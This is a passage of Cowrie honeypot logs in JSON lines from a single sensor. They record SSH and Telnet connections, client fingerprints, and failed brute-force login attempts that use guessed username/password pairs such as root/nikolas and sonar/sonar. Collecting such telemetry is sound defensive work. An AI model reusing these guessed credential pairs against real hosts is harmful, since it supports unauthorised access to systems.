"ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:22.187478Z","src_ip":"45.137.172.116","session":"4b1481c170c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:22.499075Z","src_ip":"176.32.39.21","session":"0867271d90e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikolas","message":"login attempt [root/nikolas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:22.603374Z","src_ip":"45.137.172.116","session":"4b1481c170c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:23.702887Z","src_ip":"45.137.172.116","session":"4b1481c170c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":33940,"dst_ip":"159.203.135.109","dst_port":22,"session":"7030c5fd6104","protocol":"ssh","message":"New connection: 43.173.84.253:33940 (159.203.135.109:22) [session: 7030c5fd6104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:42.715915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:42.720464Z","src_ip":"43.173.84.253","session":"7030c5fd6104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:42.788742Z","src_ip":"43.173.84.253","session":"7030c5fd6104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system@123","message":"login attempt [system/system@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:43.094169Z","src_ip":"43.173.84.253","session":"7030c5fd6104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:44.165302Z","src_ip":"43.173.84.253","session":"7030c5fd6104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51842,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cd9175ebd8c","protocol":"telnet","message":"New connection: 152.42.224.71:51842 (10.17.0.5:23) [session: 8cd9175ebd8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:57.149083Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":39892,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fd13b1d6d7f","protocol":"ssh","message":"New connection: 43.135.177.217:39892 (10.17.0.5:22) [session: 5fd13b1d6d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:00.932099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:00.937181Z","src_ip":"43.135.177.217","session":"5fd13b1d6d7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:01.006472Z","src_ip":"43.135.177.217","session":"5fd13b1d6d7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"draden","message":"login attempt [root/draden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:01.314834Z","src_ip":"43.135.177.217","session":"5fd13b1d6d7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:02.387979Z","src_ip":"43.135.177.217","session":"5fd13b1d6d7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":48824,"dst_ip":"10.17.0.5","dst_port":22,"session":"3633ac7660c2","protocol":"ssh","message":"New connection: 43.153.70.247:48824 (10.17.0.5:22) [session: 3633ac7660c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:11.555482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:11.560623Z","src_ip":"43.153.70.247","session":"3633ac7660c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:11.628667Z","src_ip":"43.153.70.247","session":"3633ac7660c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"burhan123","message":"login attempt [root/burhan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:11.933862Z","src_ip":"43.153.70.247","session":"3633ac7660c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:13.004278Z","src_ip":"43.153.70.247","session":"3633ac7660c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":58662,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c75e9388e63","protocol":"ssh","message":"New connection: 193.228.128.84:58662 (159.203.135.109:22) [session: 8c75e9388e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:30.965855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:30.970569Z","src_ip":"193.228.128.84","session":"8c75e9388e63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:31.075183Z","src_ip":"193.228.128.84","session":"8c75e9388e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victoria","message":"login attempt [root/victoria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:31.383012Z","src_ip":"193.228.128.84","session":"8c75e9388e63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:32.488831Z","src_ip":"193.228.128.84","session":"8c75e9388e63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":34432,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a52422eaea7","protocol":"ssh","message":"New connection: 45.137.172.116:34432 (10.17.0.5:22) [session: 5a52422eaea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:34.323986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:34.329174Z","src_ip":"45.137.172.116","session":"5a52422eaea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:34.430052Z","src_ip":"45.137.172.116","session":"5a52422eaea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jj123456","message":"login attempt [root/Jj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:34.865029Z","src_ip":"45.137.172.116","session":"5a52422eaea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:35.969960Z","src_ip":"45.137.172.116","session":"5a52422eaea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58580,"dst_ip":"10.17.0.5","dst_port":23,"session":"83e25d907480","protocol":"telnet","message":"New connection: 152.42.224.71:58580 (10.17.0.5:23) [session: 83e25d907480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:47.256407Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":35446,"dst_ip":"159.203.135.109","dst_port":22,"session":"8548f3af0a8c","protocol":"ssh","message":"New connection: 43.173.84.253:35446 (159.203.135.109:22) [session: 8548f3af0a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:51.175684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:51.182202Z","src_ip":"43.173.84.253","session":"8548f3af0a8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:51.248670Z","src_ip":"43.173.84.253","session":"8548f3af0a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:51.552960Z","src_ip":"43.173.84.253","session":"8548f3af0a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:42:52.623588Z","src_ip":"43.173.84.253","session":"8548f3af0a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53660,"dst_ip":"10.17.0.5","dst_port":23,"session":"244bfa8e453a","protocol":"telnet","message":"New connection: 152.42.224.71:53660 (10.17.0.5:23) [session: 244bfa8e453a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:03.212476Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":53856,"dst_ip":"10.17.0.5","dst_port":22,"session":"23f357e7c66c","protocol":"ssh","message":"New connection: 43.135.177.217:53856 (10.17.0.5:22) [session: 23f357e7c66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:11.457850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:11.462402Z","src_ip":"43.135.177.217","session":"23f357e7c66c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:11.531362Z","src_ip":"43.135.177.217","session":"23f357e7c66c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mihai","message":"login attempt [root/mihai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:11.837217Z","src_ip":"43.135.177.217","session":"23f357e7c66c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:12.909443Z","src_ip":"43.135.177.217","session":"23f357e7c66c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":58654,"dst_ip":"10.17.0.5","dst_port":22,"session":"05c3f2a3ac59","protocol":"ssh","message":"New connection: 43.153.70.247:58654 (10.17.0.5:22) [session: 05c3f2a3ac59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:30.158833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:43:30.168530Z","src_ip":"43.153.70.247","session":"05c3f2a3ac59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SS